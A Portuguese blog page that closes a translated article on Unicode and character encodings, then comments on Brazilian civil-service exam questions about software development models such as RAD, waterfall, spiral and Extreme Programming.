Uma consequência interessante foi que textos em UTF-8 ficaram iguais em ASCII, logo os americanos não perceberam qualquer diferença. Apenas o resto do mundo teve que ter o terrível trabalho de se adaptar. Com por exemplo, Hello, que era U+0048 U+0065 U+006C U+006C U+006F, se tornou 48 65 6C 6C 6F, perceba uma coisa engraçada: é exatamente como no ASCII, ANSI e qualquer outro grupo de caracteres OEM do planeta. Agora se você for atrevido o suficiente para usar letras com acento ou letras gregas ou letras de Klingon você terá que usar vários bytes para armazenar um único code point e os americanos nem vão perceber (além disso o UTF-8 tem uma característica interessante, as antigas strings boçais que se utilizavam um byte nulo como terminador não serão truncadas).

Até agora eu te contei 3 maneiras de codificar Unicode. O tradicional método armazenar-em-2-bytes chamados UCS-2 (porque eles tem 2 bytes) e o UTF-16 (porque tem 16 bits), que você ainda necessita saber se é UCS-2 com high-endian  ou UCS-2 com low-endian. E também tem o popular padrão UTF-8 que tem a interessante e funcional característica se você tiver a feliz coincidência com textos em inglês e programas desmiolados que não conhecem nada além de ASCII.

Na verdade existem um monte de maneiras de codificar Unicode. Tem um treco chamado UTF-7, que se parece muito com UTF-8, mas que garante sempre que o high bit será sempre zero, e se você tiver que passar Unicode por um sistema de e-mail cruelmente zé roela que pensa que 7 bits são mais que suficientes, agradeça que ele pode passar através dele sem se dar mal. Tem também o UCS-4 que armazena cada code point em 4 bytes e também tem a interessante característica que cada code point pode ser armazenado no mesmo número de bytes, mas vamos ser francos, nem os texanos seriam tão zé roelas em desperdiçar tanta memória.

E se você estiver pensando nas letras na forma do ideal platônico que é representada por code points Unicode, estes code points unicode podem ser codificadas em qualquer esquema antigo de codificação! Por exemplo, se você codificar a string Unicode Hello (U+0048 U+0065 U+006C U+006C U+006F) em ASCII, em qualquer antiga codificação grega OEM, na codificação hebréia ANSI, ou em qualquer sistema de codificação antigo seja qual tempo ele tenha sido inventado, com um único detalhe: algumas letras podem não aparecer! Se não há uma equivalente para um code point Unicode que você tente representar em uma codificação que você tente representar, você terá um pequeno ponto de interrogação: ? ou se você realmente for bom, uma caixa. Como você consegue ver? -> �

Existe um monte de enconding tradicionais que podem armazenar somente alguns code points de forma correta e alteram o resto dos code points em pontos de interrogação. Alguns populares sistema de codificação de texto em inglês são Windows-1252 (padrão Windows 9x para idiomas europeus ocidentais) e o ISO-8859-1, conhecido como Latin-1 (também muito bom para idiomas europeus ocidentais). Mas tente armazenar letras russas ou hebréias nestes encodings e você vai receber um monte de interrogações. UTF 7, 8, 16 e 32 tem a correta capacidade de armazenar qualquer code point de forma correta.

O fato mais importante sobre Encodings

Se você esqueceu tudo o que eu disse, por favor se lembre de um único fato. Não faz o menor sentido ter uma string sem saber qual enconding ela usa. Você não pode mais enfiar a sua cabeça na areia e fingir que um texto “puro” é ASCII.

Não há nada como texto puro

Se você tem uma string na memória, em um arquivo ou em uma mensagem de e-mail, você tem que saber qual sistema de codificação está sendo usado ou você não poderá interpretar ou visualizar para o usuário de forma correta.

Praticamente todos os  problemas do tipo “meu site parece escrito por um analfabeto” ou “ela não pode ler meus e-mails quando eu uso acento”  quase sempre é referente a inocência do programador que não entende o simples fato que se não informar como uma string foi codificada usando UTF-8, ASCII, ISO 8859-1 (Latin 1) ou Windows 1252 (Western European), você não poderá mostrar corretamente ou saber onde está o fim da string. Existem centenas de tipos de encodings diferentes e acima do code point 127, não há como adivinhar.

Como podemos saber qual tipo de codificação uma string utiliza? Bom, existem formas padronizadas de se fazer isso. Para uma mensagem de e-mail, é esperado que existe uma string no cabeçalho

Content-Type: text/plain; charset=”UTF-8″

A idéia original para uma página web era que o servidor web podesse retornar no cabeçalho http um Content-Type similar junto com a própria página html — não dentro do html em si, desde que um dos cabeçalhos de resposta (response header) fosse enviado antes da página html.

Isso causou problemas. Imagine que você tenha um grande servidor web com muitos sites e páginas feitas por centenas de pessoas em diferentes idiomas e todos usam a respectiva codificação de suas cópias de seus Microsoft ProntPage .O servidor web não teria como saber como cada página foi escrita, logo não poderia enviar o cabeçalho Content-Type.

Seria conveniente se pudesse colocar o cabeçalho Content-Type do arquivo html diretamente no próprio arquivo html, usando uma tag especial. Claro que isso enlouqueceu os puristas… como você poderia ler um arquivo html antes de saber em qual codificação foi feita?! Por sorte, quase todos os sistemas de codificação usam os mesmos caracteres entre 32 e 127, você pode ir até certo ponto da página HTML sem as letras pitorescas aparecerem:

<html>
<head>
<meta http-equiv=“Content-Type” content=“text/html; charset=utf-8”>

Porém a tag meta tem que ser a primeiríssima coisa na seção <head> porque assim que o web browser ver  a tag ele irá parar de analisar a página e depois irá recomeçar a interpretar toda página usando a codificação especificada.

O que os web browser fazem se não encontrarem a tag Content-Type no cabeçalho http ou na tag meta? O Internet Explorer faz uma coisa bem legal: tenta adivinhar baseado na frequência de como os bytes surgem em textos típicos em codificações comuns de várias linguagens, conforme as codificações e idiomas foram utilizados. porque um monte de code pages de 8 bits tendem a determinar suas letras nacionais em diferentes ranges entre 128 e 255 e por causa de cada idioma tem um histograma característico de utilização diferente e isso pode realmente funcionar. É realmente estranho, mas parece funcionar frequentemente bem se você pensar que alguns autores zé roelas de web-page nunca souberam da necessidade de se ter o cabeçalho Content-Type no web browser, até que um dia o mané escreve alguma coisa que não está dentro da conformidade da letra-frequencia-distribuição de seu idioma  e o  Internet Explorer resolve que é coreano e mostra-o, provando,  sem dúvida, na minha opinião, que a lei de Postel referente a ser “conservador naquilo que voce propaga e liberal naquilo que aceita”  não é francamente um bom princípio de engenharia. De qualquer forma, o que o pobre leitor deste blog, que foi escrito em bulgaro mas parece estar em coreano (nem parece um coreano decente), pode fazer? Pode utlizar o menu Visualizar | Codificação e tentar um monte de codificações diferentes (pelo menos uma dúzia de idiomas europeus ocidentais) até que se apareça de forma correta. Se souber fazer isso, pois a maioria não sabe.

Para a última versão do CityDesk, o software de gerenciamento de websites publicado pela minha empresa, decidimos fazer tudo internamento usando UCS-2 (dois bytes) Unicode, que é o que o Visual Basic, COM e o Windows NT/2000/XP nas suas strings nativas. Em código C++ apenas declaramos strings como wchar_t (“wide char”) ao invés de char e usamos a função wcs ao invés da funções str (por exemplo wcscat e wcslen ao invés de strcat and strlen). Para criar strings UCS-2 exatas em código C apenas use um L antes, como: L”Hello”.

Quando o CityDesk publica uma página, coverte tudo para encoding  UTF-8, que tem sido bem suportado pelos web browser por muitos anos. Isso é como todas as 29 versões de idiomas do Joel on Software são codificadas e eu não ouvi uma reclamação sequer de uma única pessoa que tenha tido problemas em visualiza-los.

Este artigo se extendeu bastante e eu não posso cobrir tudo o que existe sobre codificação de caracteres e Unicode, mas eu espero que se você leu até aqui, você sabe o suficiente para voltar a programar usando antibióticos no lugar de sanguessugas e macumba, uma tarefa que eu vou deixar com você.

Posted in Fundamentos, Programação | 3 Comments »

TST 2007 – Cargo 4 – Analista de Sistemas

Posted by foxtrote em 10/03/2009

Mais desenvolvimento:

tst

Comentários:

92) Errado. Segue definição de RAD:

“Técnicas rápidas de desenvolvimento de aplicações (RAD) desenvolveram-se das então chamadas linguagens de 4ª geração na década de 1980 e são usadas para o desenvolvimento de aplicações orientadas a dados. Consequentemente, elas são geralmente organizadas como um conjunto de ferramentas que permitem que dados sejam criados, pesquisados, exibidos e apresentados em relatórios.” – Sommerville

Desta forma, o desenvolvimento em Delphi ou .NET pode ser considerado que é apoiado em RAD. Desta forma, RAD nada tem a ver com a técnica de prototipação.

Já segundo Pressman: “O RAD é um modelo de processo de software incremental que enfatiza um ciclo de desenvovlimento curto. O modelo RAD é uma adaptação “de alta velocidade” do modelo em cascata, no qual o desenvolvimento rápido é conseguido com o uso de uma abordagem de construção baseada em componentes.” – Pressman.

93) No modelo de desenvolvimento sequencial linear, a fase de codificação é a que gera erros de maior custo de correção.

Comentários: Errado. O modelo de desenvolvimento linear = modelo clássico = modelo em cascata. São sinônimos. Sendo assim, a fase que gera erros de maior custo de produção é a primeira!
Erros encontrados na fase de levantamento de requisitos levam a um planejamento errado que levam a uma modelagem errada; que levam à fase de codificação de forma errada, resultando na implantação de um sistema completamente sem sentido para o cliente.

94) O modelo de desenvolvimento em espiral permite repensar o planejamento diversas vezes durante o desenrolar do projeto.

Comentários: O modelo de desenvolvimento em espiral, tem como características isso mesmo. Você pode repensar no projeto diversas vezes!
—————————————————————-

Galera,

Seguinte: fui alertado por um colega e faz todo sentido: a Cespe usa o Pressman e não o Sommerville. Apesar o segundo ter uma leitura extremamente agradável, o primeiro é cobrado muito diretamente, com questões que usam as mesmas palavras do autor. Já troquei de fonte

Eu li uma declaração de do 1º lugar no TCU e uma das dicas dele era: não usar diversos livros para o mesmo assunto, bastava um; isso porque era mais fácil de você usar a memória visual. Sendo assim, a priori, eu vou realmente abandonar o Sommerville. []´s

Posted in Programação | Leave a Comment »

BNDES 2007 – Analista de Sistemas

Posted by foxtrote em 09/03/2009

Caros colegas!

Para que não ficar com fama de criptólogo (risos)… Estou postando umas questões de desenvolvimento de sistemas. E lá vamos nós!

bndes

A questão da banca Cesgranrio exige conhecimento de metodologias ágeis, dentre estas, destacam-se: Extreme Programming e Scrum. A primeira é de longe a mais famosa e utilizada no mercado.

Do livro do Sommerville, página 264, ele destaca 5 princípios dos métodos ágeis em geral:

1) Desenvolvimento incremental apoiado por pequenas e frequentes entregas de sistema;

2) Envolvimento do cliente em tempo integral dentro da equipe de desenvolvimento;

3) Apoio em pessoas, não em procesos. Inclusive com a prática de programação em pares.

4) As mudanças são apoiadas por meio de releases regulares de sistema, desenvolvimento de casos de teste antes do próprio desenvolvimento e integração contínua.

5) Simplicidade de software, inclusive com refatoração constante de código, aprimorando assim a qualidade e a facilidade de adaptação de novos requisitos.

Esta questão é de múltipla escolha.
Comentários:

A) Falso. O XP preza pelo desenvolvimento apoiado em pessoas, não em processos. Para tanto, estas pessoas precisam estar juntas, inclusive com programação em pares. Vale destacar que os pares não são fixos, isto é, são montados dinamicamente. Dentre outras vantagens disto, ista a impessoalidade no desenvolvimento, aonde determinado desenvolvedor não seria ‘dono’ daquele trecho de código.

B) Falso, praticamente pelo mesmo motivo da letra anterior.

C) Verdadeiro. O cliente – ou pelo menos um representante – precisa estar completamente envolvido no desenvolvimento, fazendo parte da definição de testes de aceitação do sistema.

D) Falso. O XP é útil justamente nestes casos, aonde há um cenários de constantes mudanças de requisitos.

E) Falso. O XP preza justamente pelo contrário: que não seja necessário a formulação de diversos documentos e que entendimento de requisitos seja feito sob demanda.

Questão relativamente fácil, mas que eu errei na época que prestei este concurso…

Posted in Programação | 2 Comments »